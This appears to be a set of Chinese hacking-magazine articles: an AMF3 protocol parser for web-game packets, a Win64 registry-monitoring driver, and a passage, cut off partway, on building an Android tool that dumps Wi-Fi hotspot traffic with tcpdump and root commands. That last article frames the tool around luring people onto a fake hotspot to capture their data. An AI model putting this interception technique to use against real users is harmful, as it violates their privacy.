什么要右移 1 位，那一位有什么用处呢？还记得我们之前讲过 AMF 格式很简洁，为什么简

洁呢，其实就在这里了。 

AMF 会将一个数据包中读到的 string 按顺序保存到一个列表中，记住，这个列表只保存

string（也可称之为 String 缓存池，后文会介绍 object 实例的缓存池，道理是一样的），以便

数据包中再出现一样的字符串，可以直接从列表中读，不必重复发送，这样可以减少发送的

字节数。如： 

Obj.name = "vigour"; 

Obj.school = "vigour"; 

我们将这个 obj 通过 socket 发送，其实“vigour”这个字符串只是通过 name 发送了一

次，那 school 怎么办？当然就是标记下“vigour”是第几个字符串发送的。这时候，我们便

知道了那移掉的一位有什么用处了。假设我们读到的 int 是 a，那么： 

if((a & 1) == 0)，表示最后位如果是 0，则表示该字符串前面已发送过，是第 a / 2 次发送

的。 

if((a & 1) == 1)，表示最后位如果是 1，则表示该字符串是全新发送，长度为 a / 2。 

我们知道了长度是怎么读取的，接下来就根据长度读取后面 15 / 2 = 7 位字节，利用 ASCII

码转换成相应的字符就行了。因为在 AS 中发送的编码格式都是 utf8，所以发送字符串为中

文时，要在本地计算机转换成 GB2312 码才能在计算机上显示。 
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把需要重复发送的数据利用几个 bit 进行编码，客户端根据编码索引，到缓存池中查找

已发送过的数据进行还原，这是 AMF 协议的精华所在，在后面的 object 数据解析中，我们

会再次利用上面的规则，请一定要充分理解上述过程。 

3）Object类型 

有点类似 C语言中的结构体，将其它不同 AMF类型的数据组合成一个整体，以便于引用。

比如游戏服务器需要将一个 NPC的信息回传给客户端，NPC信息包括人物 id、姓名、性别、

出生年月。利用 Object描述如下： 

 

NPC object 

{ 

[int]       id 1; 

[string]    name “tom”; 

[false]     sex 男; 

[date]      birth  1999-1-1; 

} 

 

int、string、false、date 作为 object 各成员的类型，id、name、sex、date 则表示各成员

名，1、tom、男、1999-1-1 分别是各成员的值。 

这里要引入一个被称之为“traits”的重要概念（估且称之为“特性数据），object 实例

有四种基本类型，其特性信息如下表所示：  

Anonymous （ 匿 名

型） 

未注册别名的 Object 类对象实例，数据解析时和普通型 Object 对

象一样处理 

Typed（普通型） 拥有注册别名的 Object对象实例 

Dynamic（动态型） 使用动态特性声明的类定义的实例，在运行时，可以动态的给对象

实例添加和删除公共成员变量 

Externalizable 

（个性型） 

实现了 flash.utils.IExternalizable 接口的类实例，并且完全控

制其成员的序列化（在特性信息中没有属性名） 

除了上述这些特性，对象特性数据也可能包括一组在 object 中定义的公共变量和公共可

读写的属性名（例如所有的公共成员，不包括函数）。各成员名的顺序是重要的，因为在特

性信息中的成员值也是同样的顺序，在解析某 object 实例时需要按成员顺序读取特性信息缓

冲池中的特性信息。 

普通型和匿名型的 object 实例，其数据结构组成是先集中存入成员名称字符串，接着集

中存放各成员的值，解析程序读取时先集中读取所有成员名称，接着读取成员值；如果 object

实例类型是动态的，那么在封装好的成员之后的部分会列出动态成员的“名/值”对，解析

程序读取这类型 object 时会重复读取“名/值”，直到读取动态成员指导名称是空的字符串。

个性型的 object 的数据构成完全由开发者决定，这里不多做说明。 

 当 Object 实例在首次发送报文中出现时，AFM 会将该 object 实例存入对应的缓冲区中，

并给其标注索引，Object 实例再次在报文中出现时，不需要发送完整实例了，只需发送索引

值，客户端解析程序根据索引值到缓冲区中寻找对应实例数据。还有一点需要注意的是，这

也是大部分 AMF 资料没有解释清楚的，上文介绍的 object 的特性数据也可以通过索引在“缓

冲区”中还原已发送过的特性数据，这一点在解析 object 实例时至关重要，希望大家可以好

好体会。 

Object数据在发送时首先发送0x0A类型，紧接着发送32位的object属性双字，该双字的

低4位关系到object和特性数据以实例或引用方式解析，至关重要。低4位含义如下表所示： 
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U290-ref 

 

U29-0 

第 0位(bit)表示其后数据是 object实例或者引用，为 1数

据是一个实例；为 0数据是一个引用，1-28位表示引用的索

引值（一个整数）。 

U29Otraits- 

ref 

U29-1 第 0位标志为 1时，第 1位该标志表示是否为特性数据引用，

为 0时表示特性数据是一个引用，此时 1-27位表示该引用的

索引值。 

U29Otraits- 

ext 

U29-2 前三位标志位都是 1 

余下的 26位无意义（特性成员的数量必须是 0） 

 

 

U29O-traits 

 

 

U29-3 

第 0位标志位为 1，第 1位标志位为 1，第 2位标志位为 0。 

第 3个标志位表示类型是不是动态的。0表示不是动态的，1

表示是动态的。在封装好成员之后，动态类型可能拥有一组

动态成员的“名/值对”，余下的 25位用来编码封装好的特性

成员的数量。 

如果 U29O-traits-ext 为 0，那么 object 类名之后跟着*(U8)字节的不可决定的成员。这是

表示完全自定义序列化的外部化类型，客户和服务端使用一个私有协议读取这部分信息。 

下面以“七雄争霸”网页游戏为例，在 IE 浏览器下利用 HttpWatch 插件截获并保存游

戏状态更新数据包后的结果，如图 2 所示。 

 
图 2 

00 03 表示版本号为 3，这个版本号用处不大，只是提醒你数据流中可能会遇到 AMF3

的数据； 

00 00 表示头部的个数为 0， 一般情况下似乎头部个数都是 0，我还没理解什么情况下

要用头部；如果头部个数为 n，那么接下来应该是 n 个头部的数据，这里因为 n=0，所以直

接跳过； 

00 01 表示消息体的个数为 1； 

正文部分： 

00 0C 表示 targetURI 的长度是 0×0C； 

 2F 32……74 就是 targetURI 的值：“/22/onResult”； 

00 00 表示 responseURI 为空字符串； 

FF FF FF FF 应表示正文长度，但这里无意义； 

11 表示数据类型是 AMF3，下面切入 AMF3 的数据流分析； 

0A 表示下面是一个 AMF3 的 object 对象； 

23 的二进制表示：0010 0011 这个字节对整个 AMF3 的 Object 对象类型进行了关键性定

义，先看最右边一位是 1，表示这个 object 是一个真实的 Object，而不是一个 reference（实

际上第一次进行存储的 Object 都是一个真实的 Object，只有第 2 次使用的时候才是一个

reference），最右边第 2 位是一个 1，表示描述这个 object 的 trait 数据正紧跟其后，如果是

0 则表示该 trait 数据是一个引用，请到引用缓存池里面进行寻找。最右边第 3 位是 0，表示

此 object 并不是一个 Externalizable 实例，简单来讲就是说这个 object 如果有私有成员，不

好意思，这个是不能被序列化到 AMF 数据里面的，除非实现了 IExternalizable 这个接口。最
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后边第 4 位是 0，表示这个 object 是一个非动态类，左边 0010 表示该 object 中有两个元素。 

接着往下看，下面紧跟着的是这个 object 的 trait 数据，首先是 ClassName：01， 其二

进制是 0000 0001，注意 01 并不是说长度为 1。我们先看最右边一位是 1，表示这个 ClassName

不是一个引用，不需要到字符串的缓存池里面去寻找。最左边是 7 位，表示这个 ClassName

的长度正好是 0，就是空串，空串的 ClassName 是指这个 object 的 Class 就是普通的 Object

类。   

下面就是要读取该 object 成员的变量名称了： 

0x11 表示该成员变量字符串长度为 8； 

0x63,0x75……65 表示该成员字符串为“currTime”； 

0x09 表示该成员变量名称字符串长度为 4； 

0x63,0x68,0x61,0x74 表示成员字符串为“chat”； 

0x05 表示 currTime 成员是一个 Double 型变量； 

0x42,0x73….0xD0 0x00 currTime 值为 1362970107245.00（未转换）； 

0x09 表示该成员变量是一个 array； 

0x01 表示该 array 只有一个元素； 

0x01 表示该 array 的关联部分为空字符串； 

至此，还原出该数据包内容为： 

 

Object:object 

{ 

currTime: 1362970107245.00; 

array:[0]; 

} 

 

解析程序设计与实现 

为了解析程序的设计清晰，将每个需要解析的 AMF元素用 amf_object 类来表示，因为

amf_object 涉及大量内存操作，为了使用方便，引入 amf_object_handle 类，这个有点类

似 Windows 系统中的 HANDLE(句柄)，通过句柄来间接的对系统关键数据进行操作。

Amf_object和 amf_object_handle二者类结构如图 3所示。 

Amf_Object
……
DataType  type;
CString     classname;
Bool           boolValue;
int              intValue;
Double       doubleValue;
CString      strValue;
std::vector<amf_object_handle> childrens;
……

static amf_object_handle Alloc();
void clear_value();
void add_ref();
void release();
bool has_child(const char* name);
amf_object_handle get_child(const char* 
name
……

Amf_Object_Handle

-amf_object* pobj;

amf_object * _getamfobject();
amf_object_handle& operator = (const 
amf_object_handle &rhs);
amf_object_handle& operator = 
(amf_object* obj);
amf_object* operator -> () const;
bool operator == (const amf_object_handle 
&rhs) const;
……

 

图 3 
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简单地说，amf_Object通过 Alloc()静态方法实现 object实例的内存分配，其 object

实例的类型和值分别保存在 type和 boolValue等成员变量中。这里需要特别说明的是，因

为 AMF 协议支持成员类型的嵌套，所以当 object 的类型为 Array 或 object 时，使用一个

object 类型的向量列表来保存其各元素的值，解析此类数据时，可使用递归逐一对元素进

行解析。Amf_object_Handel只有一个成员变量*pobj，通过重载“=,==,->”等操作符来间

接实现对 Amf_object实例的赋值、引用。此外，程序还要设计三个链表用来保存 string、

object、object traits数据的缓冲区。 

解析 AMF 协议数据的函数是 read_elem（TAG_context *ctx），其核心代码如下： 

 

amf_object_handle read_elem(TAG_context *ctx) 

{ 

 amf_object_handle obj = amf_object::Alloc(); 

 obj->type = read_type(ctx); 

 switch(obj->type) 

 { 

 case DT_NULL: 

  break; 

 case DT_FALSE: 

  obj->boolValue = false; 

  break; 

 case DT_STRING: 

  read_string(ctx,obj->strValue); 

    break; 

…… 

 case DT_OBJECT: 

  obj = read_obj(ctx); 

  break; 

 …… 

 } 

  return obj; 

} 

 

参数 TAG_context *ctx是待解析的数据缓存，readelem函数首先为 amf_obj对象分配

内存，接着从要解析的数据缓存中读取一个字节判断 AMF数据类型，根据数据类型利用不同

函数进行读取。要注意的是，对 true、false、date、string、int 等没有子成员的数据，

会一次性将数据的类型和值读取通过 amf_handle赋给 amf_object变量，对 Array、Object

有子成员变量的数据在代码要进行递归调用 readelem 函数进行子成员变量读取，递归至某

层的变量为无子成员的数据，最后将包含解析数据的 amf_obj 对象返回。下面以 int 和

object 数据为例，讲述解析过程： 

int型的数据解析比较简单，核心代码如下： 

 

unsigned char byte = read_byte(ctx); 

int readnum = 0; 

int value = 0; 
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while(((byte & 0x80)!=0) && (readnum<3))//首字节为 1表示后面字节有效，循环读

取 

{ 

 value = (value<<7) | (byte & 0x7F)； 

 ++readnum； 

 byte = read_byte(ctx)； 

} 

   

 代码很简单，read_byte读取数据类型，接着逐字节读取数据，如果字节高位为 1，表

示其后还有数据，将读出的 byte 与已读出的 value进行“|”运算得到 int值。 

Object 类型数据解析起来比较复杂，这里不贴代码，只列出代码的核心框架，大家如

果有兴趣可以结合框架对源码进行解读。其解析函数 read_obj的基本流程如图 4所示。 

ref字节

第0位为1

该对象在此次发送的整个数据中

已经存在，是在第idx=ref>>1次
发送的，利用idx在obj缓存池查

找并还原该obj

ref字节

第2位为0

ref字节

第1位为0

ref字节

第3位为1

return refobj;

TraitsInfo信息前面已发送

过，在TraitsInfo缓存汇接

读取第ref>>2个特性信息，

接着利用read_element顺序

读取元素的值

默认的序列化方

式，ref>>4得到
成员数量，先集
中读取成员名称

字符串,后集中读

取成员值。
利用动态方式的序列化方式，按

“名/值”方式顺序读取成员，直

到读取空字符串为止。

余下26位
无意义,特
性数据为0

Y

N

YY

N

Y

N

Y

N

读取类型,读取ref字节

 

图 4 

解析的过程，上面的流程图已经很详细了，这里就不具体说明了。需要注意一点的是，

解析 object数据时，需要设置两个缓存池，分别是 object实例缓存池和特性数据缓存池，

解析代码中使用链表来实现缓存池，当传递数据是 object 引用或特性数据引用时，程序会

根据索引值到缓存池（链表）查找对应数据进行读取、还原。除了解析 object 数据需要建

立缓存池外，AMF 协议中对 string、array等数据的解析也引入了缓存池，大家可以看源码

配合 AMF3协议进行解读。 
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代码测试 

写好解析程序，需要测试下程序的效果如何，这里利用 IE+httpwatch 截取一段“七雄

争霸”中的“userAct.getUserProperty”（用于获取城主的各项数据）请求指令的返回数据进

行解析，并与 Amf_explorer的解析结果进行比较，如图 5所示。 

       

图 5 

“userAct.getUserProperty”指令返回数据是一个匿名的 object对象，其中有几十个成

员，如注册用户的名称 username，荣誉值 honor等，其中 userAchieve这个成员比较特殊，

类型是 Array，属于拥有子成员的数据。仔细看数组中，每一个成员又是 object 类型，如

数组第一个 object成员的数据是{YELLOWVIP:1,QQVIP:1,BLUEVIP:1}，经过对比，发现我们

的解析程序的结果和 FireBug的 AMF explorer数据包解析的结果其本一致。 

 

关于代码 

1）要查看“七雄争霸”或其它基于 AMF 协议编写的网页游戏数据，使用 FireFox 浏览

器+FireBug+Amf explorer 插件。注意，因为 Firebug 和 AMF explorer 更新不及时，不能

与新版本的 Firefox浏览器兼容，最好使用版本较低的 Firefox测试，如 5.0以下版本。 

2）Firebug不支持数据包导出功能，想要导出 AMF数据包只能使用 IE+Httpwatch。 

3）导出数据包后，用 UltraEdit将 Http的包头部分删除，只保留从“0x03”协议头开
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始到数据包末尾的数据，将数据另存为后，直接可用我们编写的程序进行解码。 

4）源码可用 VC6.0+platform SDK sp2编译通过。 

5）虽然程序能解析大部游戏数据，但限于时间紧迫，程序定有很多不完善的地方，欢

迎读者批评指正。 

 本文旨在向读者展示 AMF 协议内容和 AMF 消息的消息格式，通过阅读本文理解 AMF

精髓，希望读者不要利用本文的思路和源码进行违法、违规行为，作者和杂志概不负责。 

                                                                                

Win64 无 Hook 实现监控注册表 

文/图 胡文亮 

在 Win32 平台上，监控注册表的手段通常是 SSDT Hook。记得我看黑防的第一篇文章，

就是关于如何用 SSDT Hook 防止修改 IE 主页的。不过现在来看，用 SSDT Hook 的方式监控

注册表实在是太麻烦了，而且在 Win64下还不能合法使用 SSDT Hook。本文将介绍一种完胜

SSDT Hook监控注册表的方法，效果与 SSDT Hook一样好。 

这个方法就是使用微软推荐的注册表监控函数 CmRegisterCallbak。此函数其实在

Windows XP 系统上就有了，不过那时功能不完善，只能简单的禁止或允许，无法获得完整

的注册表修改信息（即做不到“监控”）。到了 Vista系统以后，微软对此函数做了相当大的

改进，可以实现“监控”的目的了。本文最后要实现的效果是把注册表编辑器（regedit.exe）

所有对注册表添加、删除、重命名的操作都通过 DbgView 打印出来，并拒绝访问（只针对

regedit.exe，是因为系统对注册表的操作太频繁了，这么做是为了方便大家实验）。 

首先看一下这个函数的原型： 

 

NTSTATUS CmRegisterCallback 

( 

  _In_      PEX_CALLBACK_FUNCTION Function, 

  _In_opt_  PVOID Context, 

  _Out_     PLARGE_INTEGER Cookie 

); 

 

MSDN 上的解释很书面化，用大白话来说，这三个参数分别为回调函数的地址，随便设

置的值（直接传入 NULL 即可），回调的句柄。同样，也有个函数用于销毁回调，它是

CmUnRegisterCallback，原型如下： 

 

NTSTATUS CmUnRegisterCallback( _In_ LARGE_INTEGER Cookie); 

   

CmUnRegisterCallback函数唯一的参数就是 cookie，也就是“回调的句柄”。创建和销

毁回调的代码如下： 

 

LARGE_INTEGER CmHandle; 

NTSTATUS CmSt; 

CmSt=CmRegisterCallback(RegistryCallback,NULL,&CmHandle); 

if(NT_SUCCESS(CmSt)) 
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 DbgPrint("CmRegisterCallback SUCCESS!"); 

else 

 DbgPrint("CmRegisterCallback Failed!"); 

CmUnRegisterCallback(CmHandle); 

 

接下来看看回调函数的原型： 

 

NTSTATUS RegistryCallback 

( 

  _In_      PVOID CallbackContext, 

  _In_opt_  PVOID Argument1, //操作类型（只是操作编号，不是指针） 

  _In_opt_  PVOID Argument2  //操作详细信息的结构体指针 

) 

 

CallbackContext基本可以忽略，重要的就是下面的两个参数 Argument1和 Argument2。

Argument1记录的是操作类型（这个参数不是指针，只是操作类型的编号），Argument2记录

的是有关操作信息的结构体指针。接下来举个例子，比如我们已经注册了一个注册表回调，

当有删除注册表项的操作发生时，我们注册的回调就会被调用，Argument1 的信息是

RegNtPreDeleteKey（ pre 是“操作前”的意思）， Argument2 的信息是一个指向

REG_DELETE_KEY_INFORMATION 结构体的指针。操作完成后，我们的注册表回调又会被调用

一次，此时 Argument1的信息是 RegNtPostDeleteKey（post是“操作后”的意思），Argument2

的信息是一个指向 REG_POST_OPERATION_INFORMATION 结构体的指针。在所有的结构体里，

有一项是肯定有的，就是 Object，它是你操作了那个项或者根项的对象指针（相对于新建

项而言，就是根项的对象指针；相对于新建/设置/删除/重命名键值和删除项而言，就是项

的对象指针）。通过这个 Object获得项名称的代码如下： 

 

BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, 

PUNICODE_STRING pPartialRegistryPath, PVOID pRegistryObject) 

{ 

 BOOLEAN foundCompleteName = FALSE; 

 BOOLEAN partial = FALSE; 

 if((!MmIsAddressValid(pRegistryObject)) || (pRegistryObject == NULL)) 

  return FALSE; 

 /* Check to see if the partial name is really the complete name */ 

 if(pPartialRegistryPath != NULL) 

 { 

  if( (((pPartialRegistryPath->Buffer[0] == '\\') || 

(pPartialRegistryPath->Buffer[0] == '%')) || 

          ((pPartialRegistryPath->Buffer[0] == 'T') && 

(pPartialRegistryPath->Buffer[1] == 'R') &&  

    (pPartialRegistryPath->Buffer[2] == 'Y') && 

(pPartialRegistryPath->Buffer[3] == '\\'))) ) 

  { 

   RtlCopyUnicodeString(pRegistryPath, pPartialRegistryPath); 
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   partial = TRUE; 

   foundCompleteName = TRUE; 

  } 

 } 

 if(!foundCompleteName) 

 { 

  /* Query the object manager in the kernel for the complete name */ 

  NTSTATUS status; 

  ULONG returnedLength; 

  PUNICODE_STRING pObjectName = NULL; 

  status = ObQueryNameString(pRegistryObject, 

(POBJECT_NAME_INFORMATION)pObjectName, 0, &returnedLength ); 

  if(status == STATUS_INFO_LENGTH_MISMATCH) 

  { 

   pObjectName = ExAllocatePoolWithTag(NonPagedPool, returnedLength, 

REGISTRY_POOL_TAG); 

   status = ObQueryNameString(pRegistryObject, 

(POBJECT_NAME_INFORMATION)pObjectName, returnedLength, &returnedLength ); 

   if(NT_SUCCESS(status)) 

   { 

    RtlCopyUnicodeString(pRegistryPath, pObjectName); 

    foundCompleteName = TRUE; 

   } 

   ExFreePoolWithTag(pObjectName, REGISTRY_POOL_TAG); 

  } 

 } 

 return foundCompleteName; 

} 

 

一般来说，第二个参数可以忽略，只要第一个和第三个参数就可以了。第一个参数是一

个已经分配好了缓冲区的 UNICODE_STRING结构体指针，第三个参数是注册表项的对象指针。 

除了获得项或根项的路径麻烦一点，其它的信息都放在结构体里了，直接就是

UNICODE_STRING，获取非常方便。以设置键值为例，REG_SET_VALUE_INFORMATION结构体的

定义如下： 

 

typedef struct _REG_SET_VALUE_KEY_INFORMATION  

{ 

  PVOID           Object; 

  PUNICODE_STRING ValueName; 

  ULONG           TitleIndex; 

  ULONG           Type; 

  PVOID           Data; 

  ULONG           DataSize; 

  PVOID           CallContext; 
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  PVOID           ObjectContext; 

  PVOID           Reserved; 

} REG_SET_VALUE_KEY_INFORMATION, *PREG_SET_VALUE_KEY_INFORMATION; 

 

一般来说，我们只关注此结构体的第 1、2、4、5、6 个成员，1 是这个键所属的项，2

是这个键的名称，4 是这个键的类型，5 是这个键的值，6 是这个键的数据长度。其它结构

体里，具体每个成员的意义和用途，直接查阅 MSDN即可。 

回调函数的源码如下（看完上面的解释，看下面的代码应该就没难度了）： 

 

NTSTATUS RegistryCallback 

( 

    IN PVOID CallbackContext, 

    IN PVOID Argument1, 

    IN PVOID Argument2 

) 

{ 

 long type; 

 NTSTATUS CallbackStatus=STATUS_SUCCESS; 

 UNICODE_STRING registryPath; 

 registryPath.Length = 0; 

 registryPath.MaximumLength = 2048 * sizeof(WCHAR); 

 registryPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, 

registryPath.MaximumLength, REGISTRY_POOL_TAG); 

 if(registryPath.Buffer == NULL) 

  return STATUS_SUCCESS; 

 type = (REG_NOTIFY_CLASS)Argument1; 

 switch(type) 

 { 

  case RegNtPreCreateKeyEx: 

          //出现两次是因为一次是 OpenKey，一次是 createKey 

  { 

   if(IsProcessName("regedit.exe",PsGetCurrentProcess())) 

   { 

   

 GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_CREATE_KEY_INFORMAT

ION)Argument2)->RootObject); 

    DbgPrint("[RegNtPreCreateKeyEx]KeyPath: %wZ",&registryPath);

 //新键的路径 

 DbgPrint("[RegNtPreCreateKeyEx]KeyName: %wZ",   

 ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); //新键的名称 

 CallbackStatus=STATUS_ACCESS_DENIED; 

   } 

   break; 

  } 

HACKER DEFENCE◆46◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n



 

  case RegNtPreDeleteKey: 

  { 

   if(IsProcessName("regedit.exe",PsGetCurrentProcess())) 

   { 

   

 GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_DELETE_KEY_INFORMAT

ION)Argument2)->Object); 

 DbgPrint("[RegNtPreDeleteKey]%wZ",&registryPath);    // 新 键

的路径 

 CallbackStatus=STATUS_ACCESS_DENIED; 

   } 

   break; 

  } 

  case RegNtPreSetValueKey: 

  { 

   if(IsProcessName("regedit.exe",PsGetCurrentProcess())) 

   { 

   

 GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_SET_VALUE_KEY_INFOR

MATION)Argument2)->Object); 

   

 DbgPrint("[RegNtPreSetValueKey]KeyPath: %wZ",&registryPath); 

   

 DbgPrint("[RegNtPreSetValueKey]ValName: %wZ",((PREG_SET_VALUE_KEY_INFORMATI

ON)Argument2)->ValueName); 

    CallbackStatus=STATUS_ACCESS_DENIED; 

   } 

   break; 

  } 

  case RegNtPreDeleteValueKey: 

  { 

   if(IsProcessName("regedit.exe",PsGetCurrentProcess())) 

   { 

   

 GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_DELETE_VALUE_KEY_IN

FORMATION)Argument2)->Object); 

   

 DbgPrint("[RegNtPreDeleteValueKey]KeyPath: %wZ",&registryPath); 

   

 DbgPrint("[RegNtPreDeleteValueKey]ValName: %wZ",((PREG_DELETE_VALUE_KEY_INF

ORMATION)Argument2)->ValueName); 

    CallbackStatus=STATUS_ACCESS_DENIED; 

   } 

   break; 
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  } 

  case RegNtPreRenameKey: 

  { 

   if(IsProcessName("regedit.exe",PsGetCurrentProcess())) 

   { 

   

 GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_RENAME_KEY_INFORMAT

ION)Argument2)->Object); 

    DbgPrint("[RegNtPreRenameKey]KeyPath: %wZ",&registryPath); 

   

 DbgPrint("[RegNtPreRenameKey]NewName: %wZ",((PREG_RENAME_KEY_INFORMATION)Ar

gument2)->NewName); 

    CallbackStatus=STATUS_ACCESS_DENIED; 

   } 

   break; 

  } 

  //注册表编辑器里的“重命名键值”是没有直接函数的，是先 SetValueKey

再 DeleteValueKey 

  default: 

   break; 

 } 

 if(registryPath.Buffer != NULL) 

  ExFreePoolWithTag(registryPath.Buffer, REGISTRY_POOL_TAG); 

 return CallbackStatus; 

} 

 

需要注意的是，此函数如果返回 STATUS_SUCCESS，注册表操作就会继续执行，如果返

回 STATUS_ACCESS_DENIED，注册表操作就不会执行了，这样就达到了“监控”的效果，最

终效果如图 1所示。 

 

图 1 
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本文到此结束，此代码在 Win7 X64 和 Win8 X64 上测试通过。特别提醒，Win8 对权限

的管理非常严格，即使已经是 Administrator用户了。运行的程序都是以普通用户的权限运

行的，所以在运行任何程序时，都务必对程序按右键，选择“以管理员权限运行”。 

 

（完） 
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Android远程监控技术 

 

Android 平台下的 WIFI 流量转储 
文/图 顽石 

 随着手机、平板等智能移动终端的普及，面对昂贵的 3G 网络资费，人们对无处不在的

Wifi 网络的需求已十分突出。为了方便用户进行网络共享，Android 2.3.X 之后版本的系统

都默认提供了 Wifi 共享功能，即可以把原本的 3G 或 2G 的网络流量通过建立 Wifi 热点的方

式共享给周围的用户；此外，不少软件也提供了类似的 Wifi 热点共享功能，如开源软件

WifiTether 等。 

Wifi 共享功能在方便用户的同时，也存在利用虚假热点、钓鱼 Wifi 对用户网络数据进

行侦听的隐患。例如我们在餐馆吃饭时，可以很方便的用手机搭建一个和餐馆同名的 Wifi

热点，以诱使他人接入，从而窃取其数据。而本文则恰好介绍了如何快速开发一个可以实现

对 Android 手机的 Wifi 共享网络流量进行截获、转储的小工具。 

 

原理与基础 

1．Wifi 共享网络流量的转储原理 

我们知道，在电脑上可以将一个网络设备 A 上的网络连接共享给另一个网络设备 B，

实现该功能的最简单方法就是将两个网络设备 A、B 桥接，从而使得设备 B 能够经由 A 接

入网络连接。而手机上的 Wifi 热点共享与此相似，即将 Wifi 热点所使用的网卡经由手机的

GPRS/3G 模块接入互联网，而无线网卡本身则作为热点，供其他设备连接，从而形成了如

图 1 所示的网络。因此，作为共享者想要劫持或转储来自用户的流量数据，只需获取流经

Wifi 热点所用的网卡上的数据即可。 

 

图 1 

而在 PC 平台下，获取网卡上数据的工具很多，其中功能强大且易于移植到 Android 平

台上的有开源工具 TCPDUMP。TCPDUMP 允许设置各种过滤条件来捕获数据，如端口过滤、

IP 过滤、特定协议过滤或内容过滤；同时，TCPDUMP 捕获的数据包以 pcap 格式存储，可

通过强大的协议分析工具 Wireshark 进行分析。因此，我们需要做的就是将 TCPDUMP 工具
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Android远程监控技术 

 

移植到 Android 平台，使其可以正常工作。 

2．Android 应用开发中 NDK 的 JNI 技术 

我们知道，Android 系统上的应用程序以 APP 形式提供，主要用 Java 语言开发，那么

想给交叉编译好的 TCPDUMP 程序传递参数并使其以较好的方式运行并非易事，这其中需

要用到 JNI 技术，即 Java 本地调用——通过 Java 开发的 Android APP 程序来调用、执行本

地程序 TCPDUMP，从而实现 Wifi 热点数据的转储。 

NDK 全称 Native Development Kit，其目的是允许用户使用类似 C/C++之类的原生代码

语言执行部分程序。我们可以用 NDK 开发一个动态链接库 Nativetask.so，让其执行一些系

统命令。 

 

编程实现 

 编程实现的流程如图 2 所示，下面会进行分步讲解。 

.so

tcpdump

mount

chmod

......

 

图 2 

1．NatvieTask.so 的开发 

1）NativeTask 类 

在开始开发之前，我们先建立一个 Android 应用开发的基本工程——Helloworld。在工

程中添加类 NativeTask，该类中主要定义了 NativeTask.so 动态链接库要导出的函数和变量，

此外还包含对动态链接库的加载，实现代码如下。 

 

package com.example.helloworld; 

import android.util.Log; 

public class NativeTask {     

 public static final String MSG_TAG = "NativeTask"; 

 static { 

        try { 

            Log.i(MSG_TAG, "Trying to load libwtnativetask.so"); 

            //加载动态链接库 NativeTask.so 

            System.loadLibrary("nativetask"); 

        } 

        catch (UnsatisfiedLinkError ule) { 

            Log.e(MSG_TAG, "Could not load libwtnativetask.so"); 

        } 
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    } 

 //声明需要从 Nativetask.so 中调用的函数 

 //执行系统命令 

    public static native int runCommand(String command); 

    //调用测试 

 public static native String stringFromJni(); 

} 

 

 2）动态链接库 NativeTask.so 

为了让 NativeTask 类可以加载 NativeTask.so，我们需要根据 JNI 生成与 NativeTask 类相

匹配的动态链接库的头文件，具体可以如下完成。 

 

~$ cd workspace/helloworld/ 

~$ mkdir jni 

helloworld$ javah -classpath bin -d jni com.example.helloworld.NativeTask 

 

 通过上述步骤，即可在 JNI 目录下生成头文件 com_example_HelloWorld_NativeTask.h，

其 内 容 无 需 修 改 。 我 们 只 需 根 据 头 文 件 的 定 义 ， 在 源 码 文 件

com_example_HelloWorld_NativeTask.c 中实现相应的函数即可。 

 

 #include <jni.h> 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <unistd.h> 

#include <sys/system_properties.h> 

#include "com_example_helloworld_NativeTask.h" 

JNIEXPORT jstring JNICALL Java_com_example_helloworld_NativeTask_stringFromJni 

(JNIEnv *env, jclass class) 

{ 

 return (*env)->NewStringUTF(env, "Hello, this is from jni!"); 

} 

//执行传递进来的命令 

JNIEXPORT jint JNICALL Java_com_example_helloworld_NativeTask_runCommand 

(JNIEnv *env, jclass class, jstring command) 

{ 

  const char *commandString; 

  commandString = (*env)->GetStringUTFChars(env, command, 0); 

  //执行命令 

  int exitcode = system(commandString); 

  (*env)->ReleaseStringUTFChars(env, command, commandString); 

  return (jint)exitcode; 

} 
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 在完成 NativeTask.so 的功能代码之后，接下来完成 MakieFile 文件——Android.mk。 

 

 LOCAL_PATH := $(call my-dir) 

 include $(CLEAR_VARS) 

 LOCAL_MODULE    := libnativetask 

 LOCAL_SRC_FILES := com_example_HelloWorld_NativeTask.c  

 #LOCAL_SHARED_LIBRARIES := libcutils 

 include $(BUILD_SHARED_LIBRARY) 

 

 此时，所有工作已完成，在 Helloworld 目录中执行 ndk-build 命令，即可生成相应的

libnativetask.so文件到“libs/armeabi/libnativetask.so”。 

 

2．Android 应用：WifiDump 主体框架的实现 

WifiDump的主体 APP程序由两部分组成：用于显示主体界面的继承于 Activity的

helloworld类；用于实现所有 WifiDump功能和配置操作的 PacketDump类。下面分别

说明。 

 1）实现转储操作的 PacketDump 类 

下面对 PacketDump 中的相关函数进行介绍。先对基础函数进行说明，最后再对关键函

数“beginDump”和“stop”进行说明。 

①检测是否已经 root 的方法 hasRootPermission。 

 

private boolean hasRootPermission() { 

     boolean rooted = true; 

     if(!isFileExist("/system/bin/su")) 

      if(!isFileExist("/system/xbin/su")) rooted = false; 

     return rooted; 

 } 

 

②运行基本系统命令 runCommand。其中内部调用的 NativeTask.runCoummand由

NativeTask.so实现，前面已经作介绍。 

 

//以 root 权限运行命令 

private void runCommand(String command){ 

 NativeTask.runCommand("su -c \""+command+"\""); 

} 

 

③用来修改文件权限的方法 chmod。 

 

//修改指定文件的权限 

private void chmod(String filePath, String permissionMode){ 

 runCommand("chmod "+permissionMode+" "+filePath); 

} 

 

④判断 SD 卡是否准备就绪的方法 hasSdCard。注意，因为在测试 Demo 中，捕获到的数
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据是要存储到 SD 卡中 pacp/目录下，故需要判断 SD 卡是否就绪，且需要给 APP 添加权限

“android.permission.WRITE_EXTERNAL_STORAGE”。 

 

//判断是否有 sd卡 

public static boolean hasSdcard() { 

  String status = Environment.getExternalStorageState(); 

  if (status.equals(Environment.MEDIA_MOUNTED)) { 

   return true; 

  } else{ return false; } 

} 

 

⑤将资源中交叉编译好的 TCPDUMP 释放出来的方法 dropFile。 

在程序框架中，为了能将所需的TCPDUMP打包到APP中，我们需要将其放到helloworld

工程下的 assets 目录中，程序安装后调用 dropFile 可将其释放到指定目录。 

 

//将文件从资源中释放 

